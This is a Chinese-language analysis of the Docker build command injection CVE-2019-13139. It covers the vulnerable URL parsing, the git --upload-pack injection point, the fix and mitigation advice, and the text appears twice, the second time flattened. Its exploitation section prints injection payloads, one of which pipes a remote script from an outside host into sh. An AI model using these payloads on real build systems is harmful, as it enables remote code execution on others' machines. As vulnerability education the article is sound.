CVE-2019-13139—Docker build时的命令注入漏洞
字数 1437 2025-08-27 12:33:37

Docker Build 命令注入漏洞分析 (CVE-2019-13139)

漏洞概述

CVE-2019-13139 是 Docker 在构建过程中存在的一个命令注入漏洞,影响版本为 Docker 18.09.4 之前的版本。该漏洞允许攻击者通过精心构造的 git URL 在 Docker build 过程中执行任意命令。

漏洞背景

该漏洞由安全研究人员在 Troopers 2019 会议上进行漏洞挖掘时发现,主要研究了构建系统和 git 如何导致安全问题。漏洞存在于 Docker 使用 git 克隆远程仓库进行构建的过程中。

漏洞原理

核心问题

Docker build 支持使用远程 git 仓库作为构建上下文,例如:

docker build https://github.com/docker/rootfs.git#container:docker

当 URL 包含片段(#)时,Docker 会使用 git clone --recursive 命令递归克隆仓库及其子模块。漏洞存在于 git 参数的处理过程中,攻击者可以注入恶意参数到 git 命令中。

代码分析

  1. URL 解析过程

    • parseRemoteURL() 函数解析远程 URL
    • 使用 getRefAndSubdir() 函数以 : 为分隔符分割片段部分
    • 攻击者可以控制 repo.refrepo.subdir 的值
  2. 命令构造过程

    • fetchArgs() 函数构造 git fetch 命令参数
    • 攻击者控制的 ref 参数被直接附加到命令中
    • 最终通过 gitWithinDir()git() 函数执行命令
  3. 命令注入点

    • 虽然 Go 的 os/exec 包通常能防止命令注入
    • 但 git 命令本身支持参数作为子命令执行
    • 特别是 --upload-pack 选项可以指定执行的二进制路径

漏洞利用

利用条件

  1. 攻击者能够控制 Docker build 的远程 git URL
  2. 使用 git@ 形式的 URL(SSH 协议)

利用步骤

  1. 构造恶意 URL:

    docker build "git@g.com/a/b#--upload-pack=sleep 30;:"
    
  2. 实际执行的命令:

    git fetch origin "--upload-pack=sleep 30; git@g.com/a/b"
    
  3. 更复杂的命令执行示例:

    docker build "git@github.com/meh/meh#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"
    

利用限制

  1. 必须使用 git@ 形式的 URL(HTTP/HTTPS URL 会忽略 --upload-pack
  2. 需要分号(;)来终止命令,避免后续参数被解释为命令参数

漏洞修复

Docker 在 18.09.4 版本中修复了此漏洞,主要措施包括:

  1. 对 git 参数进行更严格的验证
  2. 防止恶意参数被传递到 git 命令中

安全建议

  1. 升级 Docker 到 18.09.4 或更高版本
  2. 避免使用不受信任的远程上下文进行 Docker 构建
  3. 常规的 docker build . 方式不受此漏洞影响
  4. 在构建环境中限制网络访问

技术启示

  1. 即使使用"安全"的命令执行 API(如 Go 的 os/exec),仍可能存在命令注入风险
  2. 子命令参数需要特别关注,它们可能绕过常规的安全检查
  3. URL 解析和处理是常见的安全薄弱点

参考链接

  • 原始漏洞报告: https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/
  • CVE 详细信息: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13139
  • Docker 安全公告: https://docs.docker.com/engine/release-notes/#18094
Docker Build 命令注入漏洞分析 (CVE-2019-13139) 漏洞概述 CVE-2019-13139 是 Docker 在构建过程中存在的一个命令注入漏洞,影响版本为 Docker 18.09.4 之前的版本。该漏洞允许攻击者通过精心构造的 git URL 在 Docker build 过程中执行任意命令。 漏洞背景 该漏洞由安全研究人员在 Troopers 2019 会议上进行漏洞挖掘时发现,主要研究了构建系统和 git 如何导致安全问题。漏洞存在于 Docker 使用 git 克隆远程仓库进行构建的过程中。 漏洞原理 核心问题 Docker build 支持使用远程 git 仓库作为构建上下文,例如: 当 URL 包含片段(#)时,Docker 会使用 git clone --recursive 命令递归克隆仓库及其子模块。漏洞存在于 git 参数的处理过程中,攻击者可以注入恶意参数到 git 命令中。 代码分析 URL 解析过程 : parseRemoteURL() 函数解析远程 URL 使用 getRefAndSubdir() 函数以 : 为分隔符分割片段部分 攻击者可以控制 repo.ref 和 repo.subdir 的值 命令构造过程 : fetchArgs() 函数构造 git fetch 命令参数 攻击者控制的 ref 参数被直接附加到命令中 最终通过 gitWithinDir() 和 git() 函数执行命令 命令注入点 : 虽然 Go 的 os/exec 包通常能防止命令注入 但 git 命令本身支持参数作为子命令执行 特别是 --upload-pack 选项可以指定执行的二进制路径 漏洞利用 利用条件 攻击者能够控制 Docker build 的远程 git URL 使用 git@ 形式的 URL(SSH 协议) 利用步骤 构造恶意 URL: 实际执行的命令: 更复杂的命令执行示例: 利用限制 必须使用 git@ 形式的 URL(HTTP/HTTPS URL 会忽略 --upload-pack ) 需要分号(;)来终止命令,避免后续参数被解释为命令参数 漏洞修复 Docker 在 18.09.4 版本中修复了此漏洞,主要措施包括: 对 git 参数进行更严格的验证 防止恶意参数被传递到 git 命令中 安全建议 升级 Docker 到 18.09.4 或更高版本 避免使用不受信任的远程上下文进行 Docker 构建 常规的 docker build . 方式不受此漏洞影响 在构建环境中限制网络访问 技术启示 即使使用"安全"的命令执行 API(如 Go 的 os/exec),仍可能存在命令注入风险 子命令参数需要特别关注,它们可能绕过常规的安全检查 URL 解析和处理是常见的安全薄弱点 参考链接 原始漏洞报告: https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/ CVE 详细信息: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13139 Docker 安全公告: https://docs.docker.com/engine/release-notes/#18094